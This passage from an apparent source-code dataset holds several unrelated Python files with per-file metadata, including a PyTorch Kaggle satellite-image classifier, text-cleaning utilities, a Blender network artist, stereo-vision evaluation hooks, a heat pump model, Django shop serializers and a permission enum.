print('Evaluation/Prediction complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60, time_elapsed % 60))\n print()\n\n return predictions\n\n\n############## Initialising the model ##############\n#use_gpu = torch.cuda.is_available()\n\n# my_Model, model_name = my_models.inception_v3(num_classes = 17, pretrained=True)\n# my_Model, model_name = my_models.resnet34(num_classes = 17, pretrained=True)\n# my_Model, model_name = my_models.resnet18(num_classes = 17, pretrained=True)\nmy_Model, model_name = my_models.densenet121(num_classes = 17, pretrained=True)\n# my_Model, model_name = my_models.vgg19(num_classes = 17, pretrained=True)\n\n#ignored_params = list(map(id, param_list))\nignored_params = list(map(id, my_Model.sigmoid.parameters()))\nbase_params = filter(lambda p: id(p) not in ignored_params, my_Model.parameters())\n\n# optimizer = optim.Adam(my_Model.parameters(), lr=lr)\n\n# optimizer = optim.SGD([\n# {'params': base_params, 'lr': lr*0.1},\n# {'params': my_Model.sigmoid.parameters()}\n# ], lr=lr, momentum=0.9)\n\noptimizer = optim.Adam([\n {'params': base_params, 'lr': lr*0.1},\n {'params': my_Model.sigmoid.parameters()}\n ], lr=lr)\n\nmy_Model = my_Model.cuda()\n\n\n############## Setting Data Loaders ##############\nimg_dim = img_dim_2 if model_name == 'Inception_v3' else img_dim_1\n\n#Normalise with Image net Mean and Std when using pre-trained models\nnormMean = [0.485, 0.456, 0.406]\nnormStd = [0.229, 0.224, 0.225]\n\ntrain_transform = [ transforms.Lambda(lambda x: IT.RandomResize(x)),\n transforms.RandomCrop(img_dim),\n transforms.Lambda(lambda x: IT.transformations(x, np.random.randint(7))),\n transforms.ToTensor(),\n transforms.Normalize(normMean, normStd)\n ]\n\nval_transform = [ transforms.CenterCrop(img_dim),\n transforms.Lambda(lambda x: IT.transformations(x, np.random.randint(7))),\n transforms.ToTensor(),\n transforms.Normalize(normMean, normStd)\n ]\n\nif model_name == 'Inception_v3':\n train_transform.insert(0, transforms.Scale(340))\n val_transform.insert(0, transforms.Scale(340))\n\ndata_transforms = {\n 'train': transforms.Compose(train_transform),\n 'val': transforms.Compose(val_transform),\n}\n\ndsets = {\n 'train': KaggleAmazonDataset(df_train, train_img_path, img_ext, data_transforms['train']),\n 'val': KaggleAmazonDataset(df_valid, train_img_path, img_ext, data_transforms['val']),\n}\n\ndset_loaders = {\n x: DataLoader(\n dsets[x],\n batch_size=batch_size,\n shuffle=True,\n num_workers=1, # 1 for CUDA\n pin_memory=True # CUDA only\n )\n for x in ['train', 'val']\n}\n\ndset_sizes = {x: len(dsets[x]) for x in ['train', 'val']}\nprint('dset sizes: {}'.format(dset_sizes))\nprint('-' * 50)\n\n\n######## Training models ########################\nif run_training:\n print('###### {} model to run for {} epochs ######'.format(model_name, num_epochs))\n print('-' * 50)\n\n if warm_start:\n my_Model = torch.load('../modelsnapshot/best_current_model.torch')\n print('Continuing from best_current_model')\n\n best_model, _ = train_model(my_Model, optimizer, exp_lr_scheduler, num_epochs=num_epochs)\n #best_model, _ = train_model(my_Model, optimizer, fixed_lr_scheduler, num_epochs=num_epochs)\n print('-' * 50)\n\n######## Getting predictions ######################\nif generate_predictions:\n best_model = torch.load('../modelsnapshot/best_final_model.torch')\n # best_model = torch.load('../modelsnapshot/best_{}.torch'.format())\n\n for phase in ['train', 'test']:\n pred_list = []\n\n if not randomTTA:\n TTA_num_train = 7\n TTA_num_test = 7\n\n print('TTA_num_train: {}; TTA_num_test: {}'.format(TTA_num_train, TTA_num_test))\n\n for i in range(TTA_num_test):\n print('Running {} TTA prediction, iter {}'.format(phase, i))\n\n data_transforms['augmentation'] = transforms.Compose([\n #transforms.CenterCrop(img_dim),\n transforms.Scale(img_dim),\n transforms.Lambda(lambda x: IT.transformations(x, choice=i)),\n transforms.ToTensor(),\n transforms.Normalize(normMean, normStd)\n ])\n\n if phase == 'train':\n dsets[phase] = KaggleAmazonDataset(df_train_all, train_img_path, img_ext, data_transforms['augmentation'])\n #dsets[phase] = KaggleAmazonDataset(df_valid, train_img_path, img_ext, data_transforms['augmentation'])\n eval_flag = True\n else:\n dsets[phase] = KaggleAmazonDataset(df_test, test_img_path, img_ext, data_transforms['augmentation'])\n eval_flag = False\n\n dset_loaders[phase] = DataLoader(\n dsets[phase], batch_size=batch_size*4, shuffle=False, num_workers=1, pin_memory=True)\n\n pred = predict(best_model, dset_loaders[phase], to_evaluate=eval_flag)\n pred_list.append(pred)\n\n # if phase == 'valid' and i >= TTA_num_train-1:\n # break\n\n TTA_predictions = np.mean(pred_list, axis=0)\n\n prediction_file = '../submission/TTA_{}_pred_{}.npy'.format(phase, model_name)\n np.save(prediction_file, TTA_predictions)\n\n print('-' * 50)\n\n####### Threshold optimisation ################\nif threshold_optimisation:\n print('Optimise Threshold...')\n\n p_test = np.load('../submission/TTA_test_pred_{}.npy'.format(model_name))\n p_train = np.load('../submission/TTA_train_pred_{}.npy'.format(model_name))\n y_train = get_y_train( df_train_all)\n # p_train = np.load('../submission/TTA_valid_pred_{}.npy'.format(model_name))\n # y_train = get_y_train(df_valid)\n\n M = len(p_train)\n C = num_classes\n\n def get_f2_score(y_true, x_pred, x):\n y_pred = np.zeros((M, C))\n\n for i in range(C):\n y_pred[:, i] = (x_pred[:, i] > x[i]).astype(np.int)\n score = fbeta_score(y_true, y_pred, beta=2, average='samples')\n return score\n\n base_threshold = [0.2] * num_classes\n base_line_score = get_f2_score(y_train, p_train, base_threshold)\n print('Base line Train data F2 score: {:.6f}'.format(base_line_score))\n\n #########################\n def optimise_f2_thresholds(y_true, x_pred, resolution, verbose=True):\n # From: https://www.kaggle.com/c/planet-understanding-the-amazon-from-space/discussion/32475\n label_count = 0\n\n x = [0.2] * num_classes\n for c in range(C):\n best_threshold = 0\n best_score = 0\n for i in range(resolution):\n i /= float(resolution)\n x[c] = i\n score = get_f2_score(y_true, x_pred, x)\n if score > best_score:\n best_threshold = i\n best_score = score\n x[c] = best_threshold\n if verbose:\n print('{}, best threshold {}, f2-score {:.6f}'.format(c, best_threshold, best_score))\n return x\n\n optimised_threshold = optimise_f2_thresholds(y_train, p_train, 100)\n optimised_score = get_f2_score(y_train, p_train, optimised_threshold)\n print('Best Train data F2 score: {:.6f}'.format(optimised_score))\n print()\n\n###### Prepare submission ######\nif make_submission:\n print('Making submission......')\n p_train = np.load('../submission/TTA_train_pred_{}.npy'.format(model_name))\n #p_train = np.load('../submission/TTA_valid_pred_{}.npy'.format(model_name))\n p_test = np.load('../submission/TTA_test_pred_{}.npy'.format(model_name))\n y_train = get_y_train(df_train_all)\n\n labels = list(mlb.classes_)\n pred_tags = []\n\n for i in tqdm(range(len(p_test)), miniters=1000):\n a = p_test[i]\n row_labels = []\n\n for j in range(num_classes):\n if a[j] >= optimised_threshold[j]:\n row_labels = np.append(row_labels, labels[j])\n pred_tags = np.append(pred_tags, [' '.join(row_labels)])\n\n df_test = pd.read_csv('../input/sample_submission_v2.csv')\n df_test['tags'] = pred_tags\n submission_file = '../submission/submission_{:.4f}.csv'.format(optimised_score)\n df_test.to_csv(submission_file, index=False)\n print('{} saved'.format(submission_file))\n\n df_test.head()\n\n print('Process done. Duration: {:.1f} minutes'.format((time.time() - start_time)/60))\n\n#######################################################\n\n# if __name__ == \"__main__\":\n #train_model()\n\n","sub_path":"PyTorch Amazon.py","file_name":"PyTorch Amazon.py","file_ext":"py","file_size_in_byte":21034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"562863632","text":"# encoding='utf-8'\r\nimport os\r\nimport re\r\n\r\n# 去除空行\r\ndef delblankline(infile, outfile):\r\n \"\"\" Delete blanklines of infile \"\"\"\r\n infp = open(infile+\".txt\", \"r\", encoding='utf-8')\r\n outfp = open(infile+outfile, \"w\", encoding='utf-8')\r\n lines = infp.readlines()\r\n for li in lines:\r\n if li.split():\r\n outfp.writelines(li)\r\n infp.close()\r\n outfp.close()\r\n\r\n# 添加中文逗号\r\ndef addPunctuation(infile, outfile):\r\n infp = open(infile+\".txt\", \"r\", encoding='utf-8')\r\n outfp = open(infile+outfile, \"w\", encoding='utf-8')\r\n lines = infp.readlines()\r\n i = 0\r\n j = 0\r\n for li in lines:\r\n # if j == 4*i+2:\r\n if j == 4*i+2:\r\n # +\",\"\r\n outfp.writelines(li+\",\")\r\n i = i + 1\r\n j = j+1\r\n infp.close()\r\n outfp.close()\r\n\r\n\r\n# 添加英文文逗号\r\ndef addengPunctuation(infile, outfile):\r\n infp = open(infile+\".txt\", \"r\", encoding='utf-8')\r\n outfp = open(infile+outfile, \"w\", encoding='utf-8')\r\n lines = infp.readlines()\r\n i = 0\r\n j = 0\r\n for li in lines:\r\n # if j == 4*i+3:\r\n if j == 3*i:\r\n # +\",\"\r\n outfp.writelines(li)\r\n i = i + 1\r\n j = j+1\r\n infp.close()\r\n outfp.close()\r\n\r\n# 去除换行\r\ndef deleteln(infile, outfile):\r\n \"\"\" Delete blanklines of infile \"\"\"\r\n infp = open(infile+\".txt\", \"r\", encoding='utf-8')\r\n outfp = open(infile+outfile, \"w\", encoding='utf-8')\r\n lines = infp.readlines()\r\n for li in lines:\r\n li = li.strip('\\n')\r\n outfp.writelines(li)\r\n infp.close()\r\n outfp.close()\r\n\r\n\r\n# 调用示例\r\nif __name__ == \"__main__\":\r\n\tfilename = \"1_8\"\r\n\tdelblankline(filename, \"no.txt\")\r\n\t# addPunctuation(filename +\"no\", \"ch.txt\")\r\n\t# deleteln(filename+\"noch\",\"ch.txt\")\r\n\t# filename = \"1_13\"\r\n\t# delblankline(filename, \"no.txt\")\r\n\taddengPunctuation(filename+\"no\", \"e.txt\")\r\n\tdeleteln(filename+\"noe\",\"en.txt\")\r\n","sub_path":"tool/deal_en.py","file_name":"deal_en.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"66532169","text":"\r\nfrom __future__ import absolute_import\r\nfrom __future__ import division\r\nfrom __future__ import print_function\r\n\r\nfrom compas_blender.artists import Artist\r\nfrom compas_blender.artists.mixins import VertexArtist\r\nfrom compas_blender.artists.mixins import EdgeArtist\r\n\r\n\r\n__all__ = [\r\n 'NetworkArtist',\r\n]\r\n\r\n\r\nclass NetworkArtist(EdgeArtist, VertexArtist, Artist):\r\n\r\n __module__ = \"compas_blender.artists\"\r\n\r\n\r\n def __init__(self, network, layer=None):\r\n super(NetworkArtist, self).__init__(layer=layer)\r\n\r\n self.network = network\r\n self.defaults.update({\r\n 'color.vertex': [255, 255, 255],\r\n 'color.edge': [0, 0, 0],\r\n })\r\n\r\n\r\n @property\r\n def network(self):\r\n\r\n return self.datastructure\r\n\r\n\r\n @network.setter\r\n def network(self, network):\r\n\r\n self.datastructure = network\r\n\r\n\r\n def draw(self):\r\n\r\n raise NotImplementedError\r\n\r\n\r\n def clear(self):\r\n\r\n self.clear_vertices()\r\n self.clear_edges()\r\n\r\n\r\n# ==============================================================================\r\n# Main\r\n# ==============================================================================\r\n\r\nif __name__ == \"__main__\":\r\n\r\n import compas\r\n\r\n from compas.datastructures import Network\r\n\r\n\r\n network = Network.from_obj(compas.get('grid_irregular.obj'))\r\n\r\n artist = NetworkArtist(network=network)\r\n\r\n # artist.clear_layer()\r\n\r\n artist.draw_vertices(radius=0.1)\r\n artist.draw_vertexlabels()\r\n # artist.clear_vertexlabels()\r\n\r\n artist.draw_edges(width=0.01)\r\n artist.draw_edgelabels()\r\n # artist.clear_edgelabels()\r\n","sub_path":"src/compas_blender/artists/networkartist.py","file_name":"networkartist.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"3894867","text":"import os\nimport os.path as osp\nfrom collections import abc as container_abcs\n\nimport numpy as np\n\nimport torch\nimport torch.distributed as dist\nfrom torch.utils.data import Dataset\n\nimport mmcv\nfrom mmcv.runner import Hook, obj_from_dict\nfrom mmcv.runner import LogBuffer\nfrom mmcv.parallel import scatter, collate\n\nfrom dmb.visualization.stereo import ShowConf\n\nfrom .eval import remove_padding, do_evaluation\n\n\ndef to_cpu(tensor):\n error_msg = \"Tensor must contain tensors, dicts or lists; found {}\"\n if isinstance(tensor, torch.Tensor):\n return tensor.detach().cpu()\n elif isinstance(tensor, container_abcs.Mapping):\n return {key: to_cpu(tensor[key]) for key in tensor}\n elif isinstance(tensor, container_abcs.Sequence):\n return [to_cpu(samples) for samples in tensor]\n\n raise TypeError((error_msg.format(type(tensor))))\n\n\nclass DistEvalHook(Hook):\n\n def __init__(self, cfg, dataset, interval=1):\n self.cfg = cfg.copy()\n assert isinstance(dataset, Dataset), \\\n \"dataset must be a Dataset object, not {}\".format(type(dataset))\n self.dataset = dataset\n self.interval = interval\n\n def after_train_epoch(self, runner):\n if not self.every_n_epochs(runner, self.interval):\n return\n\n runner.logger.info(\n \"Start evaluation on {} dataset({} images).\".format(self.dataset.name, len(self.dataset))\n )\n runner.model.eval()\n\n # get prog bar\n if runner.rank == 0:\n prog_bar = mmcv.ProgressBar(len(self.dataset))\n else:\n prog_bar = None\n\n results = [None for _ in range(len(self.dataset))]\n for idx in range(runner.rank, len(self.dataset), runner.world_size):\n data = self.dataset[idx]\n data_gpu = scatter(\n collate([data], samples_per_gpu=1), [torch.cuda.current_device()]\n )[0]\n\n # compute output\n with torch.no_grad():\n result, _ = runner.model(data_gpu)\n disps = result['disps']\n costs = result['costs']\n\n ori_size = data_gpu['original_size']\n disps = remove_padding(disps, ori_size)\n target = data_gpu['leftDisp'] if 'leftDisp' in data_gpu else None\n target = remove_padding(target, ori_size)\n error_dict = do_evaluation(\n disps[0], target, self.cfg.model.eval.lower_bound, self.cfg.model.eval.upper_bound)\n\n if self.cfg.model.eval.eval_occlusion and 'leftDisp' in data_gpu and 'rightDisp' in data_gpu:\n data_gpu['leftDisp'] = remove_padding(data_gpu['leftDisp'], ori_size)\n data_gpu['rightDisp'] = remove_padding(data_gpu['rightDisp'], ori_size)\n\n occ_error_dict = do_occlusion_evaluation(\n disps[0], data_gpu['leftDisp'], data_gpu['rightDisp'],\n self.cfg.model.eval.lower_bound, self.cfg.model.eval.upper_bound)\n error_dict.update(occ_error_dict)\n\n result = {\n 'Disparity': disps,\n 'GroundTruth': target,\n 'Error': error_dict,\n }\n\n if self.cfg.model.eval.is_cost_return:\n if self.cfg.model.eval.is_cost_to_cpu:\n costs = [cost.cpu() for cost in costs]\n result['Cost'] = costs\n\n # if result contains image, as the process advanced, the cuda cache explodes soon.\n result = to_cpu(result)\n\n filter_result = dict()\n filter_result['Error'] = result['Error']\n if 'Confidence' in result:\n filter_result['Confidence'] = self.process_conf(result, bins_number=100)\n\n results[idx] = filter_result\n\n batch_size = runner.world_size\n\n if runner.rank == 0:\n for _ in range(batch_size):\n prog_bar.update()\n\n if runner.rank == 0:\n print('\\n')\n dist.barrier()\n for i in range(1, min(runner.world_size, len(self.dataset))):\n tmp_file = osp.join(runner.work_dir, \"temp_{}.pkl\".format(i))\n tmp_results = mmcv.load(tmp_file)\n for idx in range(i, len(results), runner.world_size):\n results[idx] = tmp_results[idx]\n os.remove(tmp_file)\n self.evaluate(runner, results)\n else:\n tmp_file = osp.join(runner.work_dir, \"temp_{}.pkl\".format(runner.rank))\n mmcv.dump(results, tmp_file)\n dist.barrier()\n dist.barrier()\n torch.cuda.empty_cache()\n\n def evaluate(self, *args, **kwargs):\n raise NotImplementedError\n\n\nclass DistStereoEvalHook(DistEvalHook):\n\n def __init__(self, cfg, dataset, interval=1):\n super(DistStereoEvalHook, self).__init__(cfg, dataset, interval)\n self.conf_tool = ShowConf()\n\n def evaluate(self, runner, results):\n self.eval_conf(runner, results, bins_number=100)\n\n error_log_buffer = LogBuffer()\n for result in results:\n error_log_buffer.update(result['Error'])\n error_log_buffer.average()\n log_items = []\n for key in error_log_buffer.output.keys():\n runner.log_buffer.output[key] = error_log_buffer.output[key]\n\n val = error_log_buffer.output[key]\n if isinstance(val, float):\n val = \"{:.4f}\".format(val)\n log_items.append(\"{}: {}\".format(key, val))\n\n # runner.epoch start at 0\n log_str = \"Epoch [{}] Evaluation Result: \\t\".format(runner.epoch + 1)\n log_str += \", \".join(log_items)\n runner.logger.info(log_str)\n runner.log_buffer.ready = True\n error_log_buffer.clear()\n\n # confidence distribution statistics\n def process_conf(self, result, bins_number=100):\n if 'Confidence' not in result:\n return\n\n counts = []\n bin_edges = []\n # for each confidence map, statistic its confidence distribution, and stored in a list\n for i, conf in enumerate(result['Confidence']):\n # hist and bin_edges\n count, bin_edge = self.conf_tool.conf2hist(conf, bins=bins_number)\n counts.append(count)\n bin_edges.append(bin_edge)\n\n return {\n 'counts': counts,\n 'bin_edges': bin_edges\n }\n\n def eval_conf(self, runner, results, bins_number=100):\n # results is a list, corresponds to each test sample,\n # for each sample, the result are saved as dict\n # if the first sample contains the keyword 'Confidence'\n if 'Confidence' not in results[0]:\n return\n\n # each sample has several confidence map, i.e. bin_edges is a list,\n # with length = confidence map number\n conf_number = len(results[0]['Confidence']['bin_edges'])\n\n # for each confidence map, statistic its confidence distribution among all samples\n total_counts = np.zeros((conf_number, bins_number))\n total_bin_edges = np.zeros((conf_number, bins_number + 1))\n for result in results:\n # enumerate each sample's every confidence map, and i is the index of confidence map\n for i, conf in enumerate(result['Confidence']['bin_edges']):\n counts, bin_edges = result['Confidence']['counts'][i], result['Confidence']['bin_edges'][i]\n # accumulate each confidence map's counts for all samples\n total_counts[i] = total_counts[i] + counts\n # each confidence map's bin_edges are same\n total_bin_edges[i] = bin_edges\n\n for i in range(conf_number):\n total_counts[i] = total_counts[i] / sum(total_counts[i])\n name = \"figure/confidence_histogram/{}\".format(i)\n conf_hist = self.conf_tool.hist2vis(total_counts[i], total_bin_edges[i])\n runner.log_buffer.output[name] = conf_hist\n\n runner.logger.info(\"Epoch [{}] Confidence evaluation done!\".format(runner.epoch + 1))\n runner.log_buffer.ready = True\n","sub_path":"dmb/data/datasets/evaluation/stereo/eval_hooks.py","file_name":"eval_hooks.py","file_ext":"py","file_size_in_byte":8183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"541577139","text":"# single responsibility\nclass Journal:\n def __init__(self):\n self.entries = []\n self.count = 0\n\n def add_entry(self, text):\n self.count += 1\n self.entries.append(f\"{self.count}: {text}\")\n\n def remove_entry(self, pos):\n del self.entries[pos]\n self.count -= 1\n\n def __str__(self):\n return \"\\n\".join(self.entries)\n\n\n# single responsibility\nclass PersistenceManager:\n @staticmethod\n def save_to_file(journal, filename):\n with open(filename, \"w\") as f:\n f.write(str(journal))\n f.close()\n\n\nj = Journal()\nj.add_entry(\"drank water\")\nj.add_entry(\"learnt something\")\nprint(f\"journal entries from object:\\n{j}\")\n\nfp = \"C://SMITA PERSONAL REPOSITORY//GITHUB CODE//.temp/dummy.txt\"\n\np = PersistenceManager()\np.save_to_file(j, fp)\n\nwith open(fp, \"r\") as f:\n print(f\"journal entries from file:\\n{f.read()}\")\n","sub_path":"PYTHON/PYTHON_DESIGN_PATTERNS/p002_single_responsibility_principle.py","file_name":"p002_single_responsibility_principle.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"211090013","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 19 16:45:15 2015\n\n@author: tsz\n\"\"\"\n\nfrom __future__ import division\n\nimport numpy as np\n\nimport pycity_base.classes.supply.HeatingDevice as HeatingDevice\nimport pycity_base.functions.handleData as handleData\n\n\nclass Heatpump(HeatingDevice.HeatingDevice):\n \"\"\"\n Implementation of the heat pump.\n \"\"\"\n \n def __init__(self, environment, \n tAmbient, tFlow, \n heat, power, cop,\n tMax, \n lowerActivationLimit=1):\n \"\"\"\n Parameters\n ----------\n environment : Environment object\n Common to all other objects. Includes time and weather instances\n tAmbient : Array_like\n DESCRIPTION\n tFlow : Array_like\n DESCRIPTION\n heat : Array_like (2 dimensional)\n DESCRIPTION\n power : Array_like (2 dimensional)\n DESCRIPTION\n cop : Array_like (2 dimensional)\n DESCRIPTION\n tMax : Float\n DESCRIPTION\n lowerActivationLimit : float (0 <= lowerActivationLimit <= 1)\n Define the lower activation limit. For example, heat pumps are \n typically able to operate between 50 % part load and rated load. \n In this case, lowerActivationLimit would be 0.5\n Two special cases: \n Linear behavior: lowerActivationLimit = 0\n Two-point controlled: lowerActivationLimit = 1 \n \"\"\"\n \n qNominal=np.zeros(environment.timer.timestepsHorizon)\n super(Heatpump, self).__init__(environment, \n qNominal,\n tMax,\n lowerActivationLimit)\n self._kind = \"heatpump\"\n \n self.tAmbient = tAmbient\n self.tFlow = tFlow\n self.heat = heat\n self.power = power\n \n timestepsTotal = environment.timer.timestepsTotal\n timestepsUsedHorizon = environment.timer.timestepsUsedHorizon\n self.totalPConsumption = np.zeros(timestepsTotal)\n self.currentPConsumption = np.zeros(timestepsUsedHorizon)\n \n def getNominalValues(self, tFlow):\n \"\"\"\n Return the nominal electricity consumption, heat output and lower \n activation limit.\n \n The electricity consumption and heat output are computed by two \n dimensional interpolation with the ambient temperature and required\n flow temperature as well as the heat pump's characteristics.\n \n Parameters\n ----------\n tFlow : Array_like\n Required flow temperature\n \n Returns\n -------\n pNominal : Array_like\n Nominal electricity consumption at the given flow temperatures and\n the forecast of the current ambient temperature\n qNominal : Array_like\n Nominal heat output at the given flow temperatures and the \n forecast of the current ambient temperature\n tMax : float\n Maximum flow temperature that can be provided by the heat pump\n lowerActivationLimit : float (0 <= lowerActivationLimit <= 1)\n Define the lower activation limit. For example, heat pumps are \n typically able to operate between 50 % part load and rated load. \n In this case, lowerActivationLimit would be 0.5\n Two special cases: \n Linear behavior: lowerActivationLimit = 0\n Two-point controlled: lowerActivationLimit = 1\n \n Example\n -------\n >>> tFlow = building.getFlowTemperature()\n >>> (pNominal, qNominal, lowerActivationLimit) = hp.getNominals(tFlow)\n \"\"\"\n # Get weather forecast\n weatherForecast = self.environment.weather.getWeatherForecast\n (tAmbient,) = weatherForecast(getTAmbient=True)\n \n # Two dimensional interpolation is required.\n # Initialize temporary results of the first interpolation\n timestepsHorizon = self.environment.timer.timestepsHorizon\n heat = np.zeros((timestepsHorizon, len(self.tFlow)))\n power = np.zeros((timestepsHorizon, len(self.tFlow)))\n \n # Compute first interpolation\n for i in range(len(self.tFlow)):\n heat[:,i] = np.interp(tAmbient, self.tAmbient, self.heat[:,i])\n power[:,i] = np.interp(tAmbient, self.tAmbient, self.power[:,i])\n \n # Initialize final results\n heatNominal = np.zeros(timestepsHorizon)\n powerNominal = np.zeros(timestepsHorizon)\n for j in range(timestepsHorizon):\n heatNominal[j] = np.interp(tFlow[j], self.tFlow, heat[j,:])\n powerNominal[j] = np.interp(tFlow[j], self.tFlow, power[j,:])\n \n # Return results\n return (powerNominal, heatNominal, \n self.tMax, self.lowerActivationLimit)\n \n def getResults(self, currentValues=True):\n \"\"\"\n Return results.\n \n Parameter\n ---------\n currentValues : boolean, optional\n - True : Return only values for this scheduling period\n - False : Return values for all scheduling periods\n \n Order\n -----\n pConsumption : array_like\n Electricity consumption of the heat pump\n qOutput : array_like\n Heat production of the heat pump\n schedule : array_like\n Operational schedule\n \"\"\"\n pConsumption = handleData.getValues(currentValues,\n self.currentPConsumption,\n self.totalPConsumption)\n \n return (pConsumption,\n self._getQOutput(currentValues), \n self._getSchedule(currentValues))\n\n def setResults(self, pConsumption, qOutput, schedule):\n \"\"\"\n Save resulting electricty consumption, heat output and \n operational schedule.\n \"\"\"\n self._setSchedule(schedule)\n self._setQOutput(qOutput)\n result = handleData.saveResult(self.environment.timer,\n self.currentPConsumption,\n self.totalPConsumption,\n pConsumption)\n (self.currentPConsumption, self.totalPConsumption) = result","sub_path":"pycity_base/classes/supply/HeatPump.py","file_name":"HeatPump.py","file_ext":"py","file_size_in_byte":6453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"273496063","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.utils.safestring import mark_safe\nfrom rest_framework import serializers\nfrom shop.search.serializers import ProductSearchSerializer as BaseProductSearchSerializer\nfrom shop.models.cart import CartModel\nfrom shop.serializers.defaults.catalog import AddToCartSerializer\nfrom storefront.search_indexes import myshop_search_index_classes\n\n\nclass ProductSearchSerializer(BaseProductSearchSerializer):\n \"\"\"\n Serializer to search over all products in this shop\n \"\"\"\n media = serializers.SerializerMethodField()\n\n class Meta(BaseProductSearchSerializer.Meta):\n fields = BaseProductSearchSerializer.Meta.fields + ['media', 'caption']\n field_aliases = {'q': 'text'}\n search_fields = ['text']\n index_classes = myshop_search_index_classes\n\n def get_media(self, search_result):\n return mark_safe(search_result.search_media)\n\n\nclass CatalogSearchSerializer(BaseProductSearchSerializer):\n \"\"\"\n Serializer to restrict products in the catalog\n \"\"\"\n media = serializers.SerializerMethodField()\n\n class Meta(BaseProductSearchSerializer.Meta):\n fields = BaseProductSearchSerializer.Meta.fields + ['media', 'caption']\n field_aliases = {'q': 'autocomplete'}\n search_fields = ['autocomplete']\n index_classes = myshop_search_index_classes\n\n def get_media(self, search_result):\n return mark_safe(search_result.catalog_media)\n\n\nclass AddSmartPhoneToCartSerializer(AddToCartSerializer):\n \"\"\"\n Modified AddToCartSerializer which handles SmartPhones\n \"\"\"\n\n def get_instance(self, context, data, extra_args):\n product = context['product']\n request = context['request']\n try:\n cart = CartModel.objects.get_from_request(request)\n except CartModel.DoesNotExist:\n cart = None\n try:\n variant = product.get_product_variant(\n product_code=data['product_code'])\n except (TypeError, KeyError, product.DoesNotExist):\n variant = product.variants.first()\n instance = {\n 'product': product.id,\n 'product_code': variant.product_code,\n 'unit_price': variant.unit_price,\n 'is_in_cart': bool(product.is_in_cart(cart, product_code=variant.product_code)),\n 'extra': {'storage': variant.storage},\n 'availability': variant.get_availability(request),\n }\n return instance\n","sub_path":"storefront/storefront/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"208814073","text":"#coding=utf-8\n'''\nCreated on 2015-1-3\n\n@author: Shawn\n'''\n\n# import orm\n\nclass PM(object):\n \"\"\"\n 权限管理\n \"\"\"\n ''' 用户权限枚举=> '''\n\n PM_MAP = {}\n ''' 用户权限枚举=> '''\n\n ''' 登录权限比较特殊 '''\n PERMISSION_BAN_LOGIN = set(['PERMISSION_BAN_LOGIN'])\n PM_MAP['PERMISSION_BAN_LOGIN'] = PERMISSION_BAN_LOGIN\n\n ''' 其他权限 '''\n\n ''' 创建用户组 '''\n PERMISSION_CREATE_USER_GROUP = set(['PERMISSION_CREATE_USER_GROUP'])\n PM_MAP['PERMISSION_CREATE_USER_GROUP'] = PERMISSION_CREATE_USER_GROUP\n\n ''' 创建用户 '''\n PERMISSION_CREATE_USER = set(['PERMISSION_CREATE_USER'])\n PM_MAP['PERMISSION_CREATE_USER'] = PERMISSION_CREATE_USER\n\n ''' 查看用户列表 '''\n PERMISSION_USER_LIST = set(['PERMISSION_USER_LIST'])\n PM_MAP['PERMISSION_USER_LIST'] = PERMISSION_USER_LIST\n\n ''' 创建用户组 '''\n PERMISSION_USER_GROUP_LIST = set(['PERMISSION_USER_GROUP_LIST'])\n PM_MAP['PERMISSION_USER_GROUP_LIST'] = PERMISSION_USER_GROUP_LIST\n\n ''' 修改用户信息 '''\n PERMISSION_MODIF_USER = set(['PERMISSION_MODIF_USER'])\n PM_MAP['PERMISSION_MODIF_USER'] = PERMISSION_MODIF_USER\n\n ''' 修改 用户组 信息 '''\n PERMISSION_MODIF_USER_GROUP = set(['PERMISSION_MODIF_USER_GROUP'])\n PM_MAP['PERMISSION_MODIF_USER_GROUP'] = PERMISSION_MODIF_USER_GROUP\n\n ''' 管理用户信息页面 '''\n PERMISSION_MANAGER_USER = set(['PERMISSION_MANAGER_USER'])\n PM_MAP['PERMISSION_MANAGER_USER'] = PERMISSION_MANAGER_USER\n\n ''' 本地服务的伪终端 '''\n PERMISSION_SIM_TERM_LOCAL_SERVER = set(['PERMISSION_SIM_TERM_LOCAL_SERVER'])\n PM_MAP['PERMISSION_SIM_TERM_LOCAL_SERVER'] = PERMISSION_SIM_TERM_LOCAL_SERVER\n\n ''' 本地服务执行 python 代码 '''\n PERMISSION_LOCAL_EXEC_PYTHON_CODE = set(['PERMISSION_LOCAL_EXEC_PYTHON_CODE'])\n PM_MAP['PERMISSION_LOCAL_EXEC_PYTHON_CODE'] = PERMISSION_LOCAL_EXEC_PYTHON_CODE\n\n ''' 以 PERMISSION_* 的形式来命名变量 '''\n\n ''' <=用户权限枚举 '''\n ''' 以 PERMISSION_* 的形式来命名变量 '''\n\n\n\n @classmethod\n def getPermissionDic(cls):\n '''\n 获得权限的字典{属性名: 权限}\n :return:\n '''\n return cls.PM_MAP.copy()\n\n\n @classmethod\n def defaultPms(cls):\n \"\"\"\n 默认权限\n :return:\n \"\"\"\n return set()\n","sub_path":"src/www/app/models/pm.py","file_name":"pm.py","file_ext":"py","file_size_in_byte":2380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"131695539","text":"class ModelData:\n def __init__(self):\n self.dataset=None\n\n def Load(self):\n # 모드 별로 설명하고 원하는 모드 번호를 입력받는 코드 \n choice=int(input('\\nWhich of the two modes do you want?\\nEnter the number of the mode you want.\\n1. Exercise mode\\n2. Practice mode\\n'))\n if choice == 1 : # 연습모드를 선택했을 때, 예제데이터 불러오는 함수 실행\n print('You have selected Exercise mode.')\n self._LoadExampleData()\n elif choice == 2: # 실습모드를 선택했을 